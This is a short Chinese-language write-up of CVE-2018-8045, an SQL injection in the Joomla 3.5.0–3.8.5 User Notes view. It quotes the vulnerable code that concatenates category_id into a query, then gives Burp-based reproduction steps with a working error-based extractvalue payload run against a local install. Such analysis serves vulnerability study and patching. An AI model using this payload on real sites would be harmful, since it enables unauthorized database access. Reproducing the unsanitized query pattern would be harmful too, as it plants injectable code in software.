CVE-2018-8045

Joomla!Core SQL注入漏洞

CVE-2018-8045

受影響版本：joomla!3.5.0-3.8.5

漏洞描述：

  joomla!3.5.0-3.8.5版本對sql語句內的變量缺乏類型轉換，致使User Notes列表視圖內SQL注入漏洞。

從github上下載代碼並安裝。

0x01 漏洞產生緣由 

產生漏洞的文件爲:"/administrator/components/com_users/models/notes.php";

代碼在126-121行

 

        $categoryId = $this->getState('filter.category_id');

        if ($categoryId && is_scalar($categoryId))
        {
            $query->where('a.catid = ' . $categoryId);
        }

 

很明顯$categoryId變量沒有過濾或者類型轉換直接帶入SQL語句執行。致使SQL注入漏洞產生。

0x02 漏洞利用

訪問url:http://localhost/joomla/administrator/index.php?option=com_users&view=notes

選擇Search Tools選項並選擇Uncategorised便可觸發漏洞條件，這時候用burp抓包。

發現category_id參數，咱們在repeater中發包，將該參數值改成7 and extractvalue(1,concat(0x7e,(select database()),0x7e)) 

 

成功復現漏洞。